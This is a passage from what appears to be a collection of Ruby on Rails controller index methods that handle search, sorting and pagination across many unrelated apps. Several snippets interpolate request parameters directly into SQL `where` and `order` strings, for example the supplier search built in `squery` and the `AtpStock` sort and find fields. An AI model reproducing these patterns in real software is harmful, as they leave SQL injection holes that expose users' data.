end \n\n @pessoas = Pessoa.pagination_with_search(params[:page], @search, @order).find(:all, :limit => 10,\n :joins => \"LEFT JOIN contratacoes ON contratacoes.pessoa_id = pessoas.id\" ,\n :conditions => @defcontratacao)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pessoas }\n end\n end", "def index\n @cargo = Cargo.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 25, :page => params[:page])\n end", "def index\n\n \n @per_page = 5\n params[:page] = 1 if ( params[:page].to_i < 1 )\n @page = ( params[:page].to_i > 0 ) ? params[:page].to_i - 1 : 0\n @skip = ( @per_page * @page )\n \n\nif ( params[:search] )\n \n @paises = Paise.search( params[:search] ).limit(@per_page).skip(@skip)\n elsif ( params[:column] )\n @paises = Paise.sort( params[:column], params[:sort] ).limit(@per_page).skip(@skip)\n else\n @paises = Paise.all.limit(@per_page).skip(@skip)\n end \n \n @num_of_pages = ( @per_page.to_i > 0 ) ? ( @paises.size / @per_page.to_f ).ceil : 1\n\n\nrespond_to do |format|\n format.html {# index.html.erb\n if ( request.xhr? )\n render( { :partial => 'paises/list', :locals => { :paises => @paises }, :layout => false } )\n return\n end\n }\n format.js {# index.js.erb\n render( :index )\n }\n format.json { render json: @paises }\n end\n end", "def index\n# @payments = Payment.all\n # @payments = params[:search] ? Payment.search(params[:search]) : Payment.all\n\nif params[:search]\n @payments = Payment.search(params[:search]).order(\"created_at DESC\")\n else\n @payments = Payment.all.order('created_at DESC')\n end\n\n\nend", "def index\n squery = \"\"\n \n if !params[:prBuscarNit].nil? && !params[:prBuscarNit].blank?\n squery = \"nit LIKE '%#{params[:prBuscarNit]}%'\" \n end\n \n if !params[:prBuscarNombre].nil? && !params[:prBuscarNombre].blank?\n if !squery.blank?\n squery = squery + \" AND nombre_comercial LIKE '%#{params[:prBuscarNombre]}%'\" \n else\n squery = \"nombre_comercial LIKE '%#{params[:prBuscarNombre]}%'\"\n end\n end\n \n if !params[:prBuscarTipoProveedor].nil? && !params[:prBuscarTipoProveedor].blank?\n if !squery.blank?\n squery = squery + \" AND tipo_proveedor_id = #{params[:prBuscarTipoProveedor]}\" \n else\n squery = \"tipo_proveedor_id = #{params[:prBuscarTipoProveedor]}\"\n end\n end\n \n if !params[:prBuscarFechaInicioVig].nil? && !params[:prBuscarFechaInicioVig].blank?\n if !squery.blank?\n squery = squery + \" AND fecha_inicio_vigencia >= CONVERT(date,'#{params[:prBuscarFechaInicioVig].to_date}',103)\"\n else\n squery = \"fecha_inicio_vigencia >= CONVERT(date,'#{params[:prBuscarFechaInicioVig].to_date}',103)\" \n end\n end\n \n if !params[:prBuscarFechaFinVig].nil? && !params[:prBuscarFechaFinVig].blank?\n if !squery.blank?\n squery = squery + \" AND fecha_fin_vigencia <= CONVERT(date,'#{params[:prBuscarFechaFinVig].to_date}',103)\" \n else\n squery = \"fecha_fin_vigencia <= CONVERT(date,'#{params[:prBuscarFechaFinVig].to_date}',103)\" \n end\n end\n \n if !squery.blank?\n @activo_proveedor_cis = Activo::ProveedorCi.where(squery).page(params[:page]).per(5)\n @pr_buscar_nit = params[:prBuscarNit]\n @pr_buscar_nombre = params[:prBuscarNombre]\n @pr_buscar_tipo_proveedor = params[:prBuscarTipoProveedor] \n @pr_buscar_fecha_inicio_vig = params[:prBuscarFechaInicioVig]\n @pr_buscar_fecha_fin_vig = params[:prBuscarFechaFinVig]\n else\n @activo_proveedor_cis = Activo::ProveedorCi.page(params[:page]).per(5) \n @pr_buscar_nit = \"\"\n @pr_buscar_nombre = \"\"\n @pr_busar_tipo_proveedor = \"\"\n @pr_buscar_fecha_inicio_vig = \"\"\n @pr_buscar_fecha_fin_vig = \"\"\n end\n load_data\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @activo_proveedor_cis }\n end\n end", "def index\n if params[:search]\n\t\t\t\t@spektakls = Spektakl.search(params[:search]).paginate(:page => params[:page], :per_page => 10)\n\t\t\t\telse\n @spektakls = Spektakl.paginate(:page => params[:page], :per_page => 10)\n end\nend", "def index\n @limit = get_limit\n @offset = get_offset(params)\n @sponsors_count = Sponsor.count\n if !params[:sort].nil? then\n if !params[:asc].nil? then\n asc = params[:asc]\n else\n asc = \"\"\n end\n if params[:sort] == \"alpha\" then\n @sponsors = Sponsor.find_all_order_by_with_limit_and_offset(\"name\", asc, \"\", @limit, @offset)\n elsif params[:sort] == \"date\" then\n @sponsors = Sponsor.find_all_order_by_with_limit_and_offset(\"created_at\", asc, \"\", @limit, @offset)\n else\n @sponsors = Sponsor.find_all_with_limit_and_offset(\"\", @limit, @offset)\n end\n else\n @sponsors = Sponsor.find_all_with_limit_and_offset(\"\", @limit, @offset)\n end\n @results_pages = @sponsors_count.fdiv(@limit)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @sponsors }\n end\n end", "def index\n\t\tif params[:search]\n\t\t\t\t@posts = Post.where('title LIKE ? OR content LIKE ? OR author LIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\").page params[:page]\n \t\t\tif params[:sort] == 'updated_at'\n\t\t @posts = @posts.order(\"updated_at DESC\")\n\t\t elsif params[:sort] == 'created_at'\n\t\t @posts = @posts.order(\"created_at DESC\")\n\t\t\t\telsif params[:sort] == 'name'\n\t\t\t\t\t@posts = @posts.order(\"LOWER(title) ASC\")\n\t\t\t\telsif params[:sort] == 'name_reverse'\n\t\t\t\t\t@posts = @posts.order(\"LOWER(title) DESC\")\n\t\t\t\telsif params[:sort] == 'popularity'\n\t\t\t\t\t@posts = @posts.order(cached_votes_score: :desc)\n\t\t\t\telse\n\t\t\t\t\t@posts = @posts\n\t\t\t\tend\n\t\telse\n\t\t\t\t@posts = Post.page params[:page]\n\t\t\t\tif params[:sort] == 'updated_at'\n\t\t\t\t\t@posts = @posts.all.order(\"updated_at DESC\")\n\t\t\t\telsif params[:sort] == 'created_at'\n\t\t\t\t\t@posts = @posts.all.order(\"created_at DESC\")\n\t\t\t\telsif params[:sort] == 'name'\n\t\t\t\t\t@posts = @posts.all.order(\"LOWER(title) ASC\")\n\t\t\t\telsif params[:sort] == 'name_reverse'\n\t\t\t\t\t@posts = @posts.all.order(\"LOWER(title) DESC\")\n\t\t\t\telsif params[:sort] == 'popularity'\n\t\t\t\t\t@posts = @posts.all.order(cached_votes_score: :desc)\n\t\t\t\telse\n\t\t\t\t\t@posts = @posts.all.order(\"created_at DESC\")\n\t\t\t\tend\n\t\tend\n\tend", "def index\n\n @trucksxls = Truck.where(estado: \"1\").order(\"placa\")\n if(params[:search]) \n \n @trucks = Truck.paginate(:page => params[:page]).search(params[:search]).order(:placa)\n else\n @trucks = Truck.where(estado: \"1\").order(\"placa\").paginate(:page => params[:page])\n end\n end", "def index\n @produtos = Produto.order(:nome).page(params['page']).per(5)\n if params[:search] != \"\"\n @produtos = Produto.search(params[:search]).page(params['page']).per(5)\n else\n @produtos = Produto.order(:nome).page(params['page']).per(5)\n end\n end", "def index\n @title = t('view.movements.index_title')\n @searchable = true\n @movements = Movement.filtered_list(params[:q]).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movements }\n end\n end", "def index_page\n\n # For search action \n if params[:search] && params[:search] != \"\"\n Order.index(sort_column, sort_direction, params[:page], params[:search])\n else\n Order.index(sort_column, sort_direction, params[:page])\n end\n end", "def index\n if params[:nome]\n @livros = Livro.where('nome LIKE ?', \"%#{params[:nome]}%\").page(params[:page])\n else\n # @livros = Livro.all.order('created_at DESC').page(params[:page])\n @livros = Livro.all\n@livros = Kaminari.paginate_array(@livros).page(params[:page]).per(5)\n end\n end", "def index\n @search = Promocao.search(params[:search])\n @promocoes = @search.all.paginate(:page => params[:page])\n @sortear = params[\"sortear\"]\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @promocoes }\n end\n end", "def index\n authorize! :manage, @product , :message => \"Access denied.\"\n if params[:sort] == nil then\n @products = Product.search(params[:search])\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n else\n @products = Product.search(params[:search])\n .order(sort_column + \" \" + sort_direction)\n .order(:created_at => :desc)\n .page(params[:page]).per(25)\n end\n end", "def index\n# @patients = Patient.all\n# @patients = Patient.order(\"niid_id\").paginate(page: params[:page])\n @search = Patient.search(params[:q])\n # @patients = Patient.order(params[:sort]).paginate(page: params[:page])\n @patients = @search.result.order(params[:sort]).paginate(page: params[:page])\n end", "def index\n @tours = Tour.all.order(created_at: :desc)\n \n #Search functionality\n if params[:search]\n @tours = Tour.search(params[:search]).order(created_at: :desc)\n else\n @tours = Tour.all.order(created_at: :desc)\n end\n end", "def index\n @pt_records = PtRecord.all\n if params[:search]\n @pt_records = PtRecord.search(params[:search]).order(\"created_at DESC\")\n else\n @pt_records = PtRecord.all.order('created_at DESC')\n end\n end", "def index\n @livros = if params[:search].present?\n Livro.search(params[:search]).page params[:page]\n else\n Livro.order(:autor).page params[:page]\n end\n end", "def index\n @alunos = if params[:search].present?\n Aluno.search(params[:search]).page params[:page]\n else\n Aluno.order(:nome).page params[:page]\n end\n end", "def index\n #@search = Serie.scoped_search(params[:search])\n @series = Serie.do_nivel(@nivel).order(\"nome asc\",\"codigo asc\").paginate :page => params[:page], :per_page => 10\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @series }\n end\n end", "def index\n @posts = Post.paginate(:page => params[:page], :per_page => 10)\n case \n when params[:search]\n @posts = @posts.search(params[:search])\n case\n when params[:sortDate]\n case params[:sortDate]\n when \"asc\"\n @posts= @posts.all.order('created_at ASC')\n @sd = true;\n @sn = false;\n when \"desc\"\n @posts= @posts.all.order('created_at DESC')\n @sd = false;\n end\n when params[:sortName]\n case params[:sortName]\n when \"asc\"\n @posts= @posts.order('title ASC')\n @sn = true;\n @sd = false;\n when \"desc\"\n @posts= @posts.order('title DESC')\n @sn = false;\n end\n else\n @posts= @posts.all.order('created_at DESC')\n end\n else\n @posts= @posts.all.order('created_at DESC')\n end\n end", "def index\n @search = Item.search(params[:q])\n @search.sorts = 'name asc' if @search.sorts.empty?\n @items = @search.result\n if params[:q].present?\n params[:q].each do |k, v| \n if v == 'name asc'\n @items = @search.result.sort { |p1, p2| p1.name.downcase <=> p2.name.downcase }\n elsif v == 'name desc'\n @items = @search.result.sort { |p2, p1| p1.name.downcase <=> p2.name.downcase }\n end\n end\n end\n end", "def index\n if params[:search]\n @pets_search_result = Pet.where(\"name like ?\", \"%#{params[:search]}%\").limit(5) if params[:search] < \"\"\n else\n @pets = Pet.all.order(sort_column + \" \" + sort_direction).paginate(:page => params[:page], :per_page => 25)\n end\n render @pets_search_result, layout: false if request.xhr?\n\n end", "def index\n @totalReg = AtpStock.all.count\n\n @limit = params.has_key?(:limit) ? params[:limit].to_i : 10\n @page = params.has_key?(:page) ? params[:page].to_i : 1\n\n @status = 200\n @msg = \"ok\"\n\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n\n @start = ((@page-1) * @limit) +1\n \n\n @sortDirection = params.has_key?(:sortDirection) && params[:sortDirection] == 'ascending' ? 'ASC' : 'DESC'\n @sortBy = params.has_key?(:sortBy) ? params[:sortBy] : 'name'\n @findBy = params.has_key?(:findBy) ? params[:findBy] : 'name'\n\n\n if !params.has_key?(:limit) && !params.has_key?(:page) && !params.has_key?(:findQuery)\n @atp_stocks = AtpStock.first(@limit)\n #raise @providers.size.to_yaml\n @end = AtpStock.page(@page).last_page? ? @start + @atp_stocks.size - 1 : @start + @limit -1\n return\n end\n \n @atp_stocks = AtpStock.order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n\n if params[:findBy] || params[:findQuery]\n @atp_stocks = AtpStock.where(\"#{@findBy} like ?\", \"%#{params[:findQuery]}%\").order(\"#{@sortBy} #{@sortDirection}\").page(@page).per(@limit)\n @totalReg = @atp_stocks.count\n @totalPage = @totalReg / @limit + (@totalReg % @limit != 0 ? 1 : 0)\n @start = ((@page-1) * @limit) +1\n #raise @provider.to_yaml\n end\n @end = AtpStock.page(@page).last_page? ? @start + @atp_stocks.size - 1 : @start + @limit -1\n end", "def index\n show_icons\n @search = params[:search] || \"\"\n\n if @search.present?\n @titles = Title.all.where(\"lower(name) like lower(?)\",\"%#{@search}%\").paginate(page: params[:page], per_page: 30).order('id desc')\n else\n @titles = Title.all.paginate(page: params[:page], per_page: 30).order('id asc')\n end\n\n end", "def index\n @spots = Spot.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n if (params[:limit] == nil) or (params[:limit] <= '0') then\n params[:limit] = 10\n \n end \n @instructores = Instructor.order(sort_column + \" \" + sort_direction).search(params[:search]).page(params[:page]).per_page(params[:limit].to_i)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @instructores }\n end\n end", "def index\n @clientes = Cliente.all\n #@clientes = Cliente.order(\"#{sort_column} #{sort_direction}\")\n #@clientes = @clientes.page(page).per_page(per_page)\n #if params[:sSearch].present?\n # @clientes = @clientes.where(\"nome like :search or loja like :search\", search: \"%#{params[:sSearch]}%\")\n #end\n end", "def indexKaminari\n @sort = nil\n @direction = nil\n @sort = params[:sort] if params[:sort]\n @direction = params[:direction] if params[:direction]\n\n @sort = 'id' if @sort == nil\n @direction = 'asc' if @direction == nil\n\n if params[:search]\n @downloads = Download.where(\"name like :search\", search: params[:search]).order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n else\n puts \"--------- sort:[#{@sort}], direction:[#{@direction}] ----\"\n @downloads = Download.order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @downloads }\n format.js\n end\n end", "def index\n @movies = Movie.all.order(sort_column + ' ' + sort_direction).search(search_params).paginate(page: params[:page], per_page: 20)\n end", "def index\n @up = false\n\n if @sort\n @sort_field = if @sort == \"members\" then \"members_count\" else \"fruits_count\" end\n else\n @sort_field = \"members_count\"\n end\n\n if params[:dir].present?\n @dir = params[:dir]\n @up = if params[:dir] == 'up' then true else false end\n end\n\n @sort_direction = if @up then \"ASC\" else \"DESC\" end\n @search = if params[:search].present? then params[:search] else nil end\n @status = if params[:status].present? then params[:status] else nil end\n @sort = if params[:sort].present? then params[:sort] else nil end\n\n @epicenters = if @search then Epicenter.search_for(@search) else Epicenter.all end \n @epicenters = @epicenters.where.not(:id => @mother.id).order(\"#{@sort_field} #{@sort_direction}\")\n\n if @status\n @epicenters = @epicenters.select{ |e| e.status == @status }\n end\n\n end", "def titles_search\n @query = params[:query]\n @titles = Title.search(@query)\n\t @titles = @titles.paginate(:page => params[:titles_page], :per_page => 5)\n\t # @cart = get_cart\n\t respond_to do |format|\n format.html { render :action => \"index\" }\n format.xml { render :xml => @titles }\n end\n end", "def index\n @dinosaurs = Dinosaur.search(params[:search], params[:era], params[:diet], params[:location], params[:taxonomy]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 12, :page => params[:page])\n @params = params\n end", "def index\n @vendas = Venda.order(:pedido_id).page(params['page']).per(5)\n if params[:search] != \"\"\n @vendas = Venda.where(pedido_id: params[:search]).page(params['page']).per(5)\n else\n if params[:datainicial] and params[:datafinal] != \"\"\n @vendas = Venda.search(params[:datainicial],params[:datafinal]).page(params['page']).per(5)\n else\n if params[:nomevendedor] and params[:vendadatainicial] and params[:vendadatafinal] != \"\"\n @vendas = Venda.searchcomissao(params[:nomevendedor],params[:vendadatainicial],params[:vendadatafinal]).page(params['page']).per(5)\n else\n @vendas = Venda.order(:pedido_id).page(params['page']).per(5)\n end\n end\n end\n end", "def index\n # @listings = Listing.all\n if params.present? \n @listingssearch = Listing.search(params) \n \n # flash[:notice] = \"Please see listings below\"\n \n else\n @listingssearch = Listing.all \n end\n \n #for ransack you use rails activerecord query methods on the result from ransack i.e. @search.result\n @listingsboats = @listingssearch.where(:vehicletype => 'Boat').order(sort_column + \" \" + sort_direction)\n # .paginate(:page => params[:page], :per_page => 100)\n\n # @listingsrvs = Listing.search(params)\n @listingsrvs = @listingssearch.where(:vehicletype => 'RV').order(sort_column + \" \" + sort_direction)\n # .paginate(:page => params[:page], :per_page => 100)\n\n\n # .page(params[:page]).per_page(4) \n end", "def index\n \n if params[:page].nil?\n # ページ繰り以外\n @searched = Hash.new()\n session[:searched] = @searched\n if params[:commit].nil?\n @searched[:month] = Date.today.month\n else\n # 検索ボタン押下時:画面入力された条件のセッションへの保存\n params[:search].each do | key, value |\n @searched.store(key.to_sym, value)\n end\n end\n else\n # ページ繰り時:検索条件のセッションからの取り出し\n @searched = session[:searched]\n end \n unless params[:month].nil?\n @searched[:month] = params[:month]\n end \n unless params[:e_bmn_id].nil?\n @searched[:e_bmn_id] = params[:e_bmn_id]\n end \n unless params[:e_shain_id].nil?\n @searched[:e_shain_id] = params[:e_shain_id]\n end \n @urijs = Urij.joins(:anken)\n # まずは月を指示\n @urijs = @urijs.where(:month => @searched[:month])\n\n # 検索条件が指定されていれば、抽出条件としてwhere句を追加\n # 社員\n unless @searched.fetch(:e_shain_id, nil).blank?\n @urijs = @urijs.where('ankens.e_shain_id = ?', @searched.fetch(:e_shain_id))\n end\n \n # 部門\n if !(@searched.fetch(:e_bmn_id, nil).blank?)\n @urijs = @urijs.where('ankens.e_bmn_id = ?', @searched.fetch(:e_bmn_id))\n end\n # ページングを指示\n @urijs = @urijs.paginate(:page => params[:page], :order => 'month', :per_page => 20)\n\n \n @bmns = Bmn.order(:code) \n @shains = Shain.order(:code)\n\n end", "def index\n @tours = Tour.all\n if params[:search_by_autista] && params[:search_by_autista] != \"\"\n @tours = @tours.where(\"Autista like ?\", \n \"%#{params[:search_by_autista]}%\")\n end\n if params[:search_by_partenza] && params[:search_by_partenza] != \"\"\n @tours = @tours.where(\"Partenza like ?\", \n \"%#{params[:search_by_partenza]}%\")\n end\n if params[:search_by_destinazione] && params[:search_by_destinazione] != \"\"\n @tours = @tours.where(\"destinazione like ?\", \n \"%#{params[:search_by_destinazione]}%\")\n end\n if params[:search_by_data] && params[:search_by_data] != \"\"\n @tours = @tours.where(\"data like ?\", \n \"%#{params[:search_by_data]}%\")\n end\n end", "def index\n @projects = Project.search(params[:search]).order(sort_column + ' ' + sort_direction).paginate(:per_page => 5, :page => params[:page])\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @projects }\n format.js\n end\n end", "def index\n # @equipamentos = Equipamento.all\n # @equipamentos = Equipamento.search(params[:search]).page(params[:page]).per(2)\n @equipamentos = Equipamento.search(params[:search]).order(:patrimonio).page(params[:page]).per(10)\n end", "def index\n if @search.nil?\n @search = Person.search(params[:search])\n @people = nil\n else\n @search.meta_sort = \"surname.asc\" if @search.meta_sort.nil?\n @people = @search.paginate(:page => params[:page])\n end \n end", "def index\n @microspots = Microspot.all\n\n if params[:search]\n @microspots = Microspot.search(params[:search]).order(\"created_at DESC\")\n else\n @microspots = Microspot.all.order('created_at DESC')\n end\n end", "def index\r\n @songs = Song.search(params[:search]).paginate(page: params[:page], per_page: 20, order: \"title ASC, artist ASC\")\r\n end", "def index\n\n @per_page = 2\n params[:page] = 1 if ( params[:page].to_i < 1 )\n @page = ( params[:page].to_i > 0 ) ? params[:page].to_i - 1 : 0\n @skip = ( @per_page * @page )\n\n\n\n if ( params[:search] )\n @ciudades = Ciudade.search( params[:search] ).limit( @per_page ).skip( @skip )\n elsif ( params[:column] )\n @ciudades = Ciudade.sort( params[:column], params[:sort] ).limit( @per_page ).skip( @skip )\n else\n @ciudades = Ciudade.all.limit( @per_page ).skip( @skip )\n end\n \n\n@num_of_pages = ( @per_page.to_i > 0 ) ? ( @ciudades.size / @per_page.to_f ).ceil : 1\n\n \n respond_to do |format|\n format.html {# index.html.erb\n if ( request.xhr? )\n render( { :partial => 'ciudades/list', :locals => { :ciudades => @ciudades}, :layout => false } )\n return\n end\n }\n format.js {# index.js.erb\n render( :index )\n }\n format.json { render json: @ciudades }\n end\n end", "def index\n if(params[:search])\n @title = \"Tours matching #{params[:search]}\"\n else\n @title = \"Search for tours\"\n end\n search_sort_and_paginate_tours(params)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tours }\n format.json { render :json => @tours }\n end\n end", "def index\n pesquisa = params[:search]\n\n @posts = Post.buscar(pesquisa)\n .order('created_at DESC')\n .paginate(page: params[:page], per_page: 5)\n end", "def index\n \n orderBy = \"\"\n\n\tif(params[:sort] == \"titleAsc\")\n\t\torderBy = \"title asc\"\n\telsif (params[:sort] == \"titleDesc\")\n\t\torderBy = \"title desc\"\n\telsif (params[:sort] == \"rateAsc\")\n\t\torderBy = \"rating asc\"\n\telsif (params[:sort] == \"rateDesc\")\n\t\torderBy = \"rating desc\"\n\tend\n\t\n if params[:search] != \"\"\n \n\t if (params[:filter_genre] == \"All\" && params[:filter_rating] == \"\")\n\t \t\t@movies = Movie.search(params[:search]).order(orderBy)\n\telsif (params[:filter_genre] && params[:filter_rating] == \"\")\n\t\t@movies = Movie.searchFiltGenre(params[:search], params[:filter_genre]).order(orderBy)\n\telsif (params[:filter_rating] && params[:filter_genre] == \"All\")\n\t \t@movies = Movie.searchFiltRate(params[:search], params[:filter_rating]).order(orderBy)\n\telsif (params[:filter_genre] && params[:filter_rating])\n\t\t@movies = Movie.searchFiltBoth(params[:search], params[:filter_genre], params[:filter_rating]).order(orderBy)\n\telse\n\t\t@movies = Movie.search(params[:search]).order(orderBy)\n\tend\n\t\n\telse\n\tif (params[:filter_genre] == \"All\" && params[:filter_rating] == \"\")\n\t\t\t@movies = Movie.all.order(orderBy)\t\n\telsif (params[:filter_genre] && params[:filter_rating] == \"\")\n\t\t@movies = Movie.filterGenre(params[:filter_genre]).order(orderBy)\t\t\n\telsif (params[:filter_rating] && params[:filter_genre] == \"All\")\n\t\t@movies = Movie.filterRating(params[:filter_rating]).order(orderBy)\t\n\telsif (params[:filter_genre] && params[:filter_rating])\n\t\t@movies = Movie.filter(params[:filter_genre], params[:filter_rating]).order(orderBy)\t\n\telse \n\t@movies = Movie.all\n\tend\n\t\n\tend\nend", "def index\n @basico_modelo_vehiculos = Basico::ModeloVehiculo.search(params[:page], params[:search], params[:sort])\n\n end", "def index\n @q = Pessoa.ransack(params[:q])\n if params[:q] and params[:q].size>0\n @busca = params[:q][:nome_or_cpf_or_rg_or_funcionarios_matricula_cont]\n if params[:sem_lotacao]==\"true\" and params[:mais_de_um_vinculo].nil?\n @pessoas = @q.result.order('nome ASC').sem_lotacao.paginate :page => params[:page], :per_page => 10\n elsif params[:mais_de_um_vinculo]==\"true\" and params[:sem_lotacao].nil?\n @pessoas = @q.result.order('nome ASC').mais_de_um_vinculo.paginate :page => params[:page], :per_page => 10\n elsif params[:sem_lotacao]==\"true\" and params[:mais_de_um_vinculo]==\"true\"\n @pessoas = @q.result.order('nome ASC').sem_lotacao_com_mais_de_um_vinculo.paginate :page => params[:page], :per_page => 10\n else\n @pessoas = @q.result(distinct: true).order('nome ASC').paginate :page => params[:page], :per_page => 10\n end\n else\n @pessoas = Pessoa.find_all_by_entidade_id(0).paginate :page => params[:page], :per_page => 10\n end\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :partial => \"pessoas\" }\n format.xml { render :xml => @pessoas }\n end\n end", "def index\n @pedidos = Pedido.order(:id).page(params['page']).per(5)\n if params[:search] != \"\"\n @pedidos = Pedido.search(params[:search]).page(params['page']).per(5)\n else\n @pedidos = Pedido.all.page(params['page']).per(5)\n end\n end", "def index\n if params[:search] \n @search=params[:search]\n @m_lists=MList.where('name like ? ',\"%\"+params[:search]+\"%\").paginate(:page => params[:page], :per_page => 10).order('updated_at desc')\n else\n @m_lists = MList.paginate(:page => params[:page], :per_page => 10).order('updated_at desc')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @m_lists }\n end\n end", "def index\n conditions = []\n params[:per_page] = perpage if params[:per_page].nil?\n params[:page] = 1 if params[:page].blank?\n unless params[:search].blank?\n conditions.push \"name like ? or description like ?\"\n conditions.push \"%#{params[:search]}%\"\n conditions.push \"%#{params[:search]}%\"\n end\n @kf_pipes = Kf::Pipe.order(\"order_level DESC\").paginate(:page => params[:page], :per_page => params[:per_page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kf_pipes }\n end\n end", "def index\n per_page = params[:per_page].blank? ? \"10\" : params[:per_page]\n order = params[:order].blank? || params[:orderDirect].blank? ? \"sales.id asc\" : \"sales.#{params[:order]} #{params[:orderDirect]}\"\n conditions = [\"solicitation_id like ?\",\"%#{params[:search]}%\"] unless params[:search].blank?\n @solicitations = Solicitation.paginate :include=>[:customer,:sales], :page => params[:page], :per_page => per_page, :order => order, :conditions => conditions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @solicitations }\n end\n end", "def index\n #@parameters = Parameter.all\n @q = Parameter.search(params[:q])\n @parameters = @q.result(:distinct => true).order(sort_column + ' ' + sort_direction).paginate( :page => params[:page])\n @q.build_condition\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parameters }\n end\n end", "def search\n @sorting = 'DESC'\n\n if (params[:sortBtn] == 'ASC')\n @sorting = 'ASC'\n else\n @sorting = 'DESC'\n end\n \n @qualities_search = Quality.order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").search :lot_or_user_first_name_or_user_last_name_contains => params[:term]\n @users_search = User.order(\"last_name ASC\").search :first_name_or_last_name_or_email_contains => params[:term]\n \n if current_user.facility_id == 3\n @qualities = @qualities_search.where('facility_origin_id = ?','3').order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.where('facility_id = ?','3').order(\"last_name ASC\").page params[:users_page]\n elsif current_user.facility_id == 2\n @qualities = @qualities_search.where('facility_origin_id = ?','2').order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.where('facility_id = ?','2').order(\"last_name ASC\").page params[:users_page]\n else\n @qualities = @qualities_search.order(\"strftime('%Y',date) \" + @sorting + \", julian_date DESC, lot DESC, time DESC\").page params[:qualities_page]\n @users = @users_search.order(\"last_name ASC\").page params[:users_page]\n end\n\n respond_to do |format|\n format.html\n format.js\n format.xlsx {\n if !current_user.administrator? and current_user.technician?\n flash[:alert] = 'You do not have the necessary permissions to download this data.'\n redirect_to '/'\n else\n if(params[:searchType] == 'qualities')\n @qualities_search = Quality.order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").search :lot_or_user_first_name_or_user_last_name_contains => params[:term]\n if current_user.facility_id == 3\n send_data @qualities_search.where('facility_id = ?','3').order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n elsif current_user.facility_id == 2\n send_data @qualities_search.where('facility_id = ?','2').order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n else\n send_data @qualities_search.order(\"strftime('%Y',date) DESC, julian_date DESC, lot DESC, time DESC\").to_xlsx.to_stream.read, :filename => 'search.xlsx', :type => \"application/vnd.openxmlformates-officedocument.spreadsheetml.sheet\" \n end \n elsif(params[:passed] == \"users\")\n #do nothing\n else\n #do nothing\n end\n end\n }\n end\n end", "def index\n @q = Paciente.search(params[:q])\n @pacientes = @q.result.paginate(:page => params[:page], :per_page => 5).order('apellido_paterno ASC')\n end", "def indexKaminariTable\n\n @sort = nil\n @direction = nil\n @sort = params[:sort] if params[:sort]\n @direction = params[:direction] if params[:direction]\n\n @sort = 'id' if @sort == nil\n @direction = 'asc' if @direction == nil\n if params[:search]\n @downloads = Download.where(\"name like :search\", search: params[:search]).order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n else\n @downloads = Download.order(\"#{@sort} #{@direction}\").page(params[:page]).per(get_perPage)\n end\n\n end", "def index\n @results = @search.result.paginate(page: params[:page], per_page: 9).order(created_at: :desc)\n end", "def index\n \n if params[:per_page].present?\n if params[:per_page] == \"All\"\n @per_page = 10000000000000000\n else\n @per_page = params[:per_page]\n end\n else\n @per_page = 40\n end\n\n logger.info \"----------------------------\"\n logger.info \"params:: #{params.inspect}\"\n logger.info \"----------------------------\"\n\n list_of_search_str = []\n list_of_search_str << SubsPayment.transaction_search(params[:trans]) unless params[:trans].blank?\n\n unless params[:status].blank?\n list_of_search_str << SubsPayment.status_search(params[:status])\n \n end\n\n\n list_of_search_str << SubsPayment.search_date(params[:start_date], params[:end_date]) if SubsPayment.search_date(params[:start_date], params[:end_date]) != \"\"\n search_str = list_of_search_str.join(\" AND \")\n\n\n logger.info \"----------------------------\"\n logger.info \"list_of_search_str:: #{list_of_search_str.inspect}\"\n logger.info \"----------------------------\"\n \n \n\n @subs_payments = SubsPayment.where(search_str).paginate(:page => params[:page], :per_page => @per_page).order('created_at desc')\n end", "def index\n @puppies = Puppy.all\n\n # adding conditions to find puppies if given search params\n @puppies = if params[:search]\n Puppy.search(params[:search]).order('created_at DESC')\n else\n Puppy.all.order('created_at DESC')\n end\n end", "def index\n #search query, check params for search then search by appropriate fields\n @q = Entry.all\n @author_id = params[:search][:author_id] if params[:search]\n @text = params[:search][:text] if params[:search]\n @q = Entry.search(@q, @text) if !@text.blank?\n @q = @q.where(author_id: params[:search][:author_id]) if !@author_id.blank?\n\n #final result and column toggle sort\n @entries = @q.paginate(:page => params[:page], 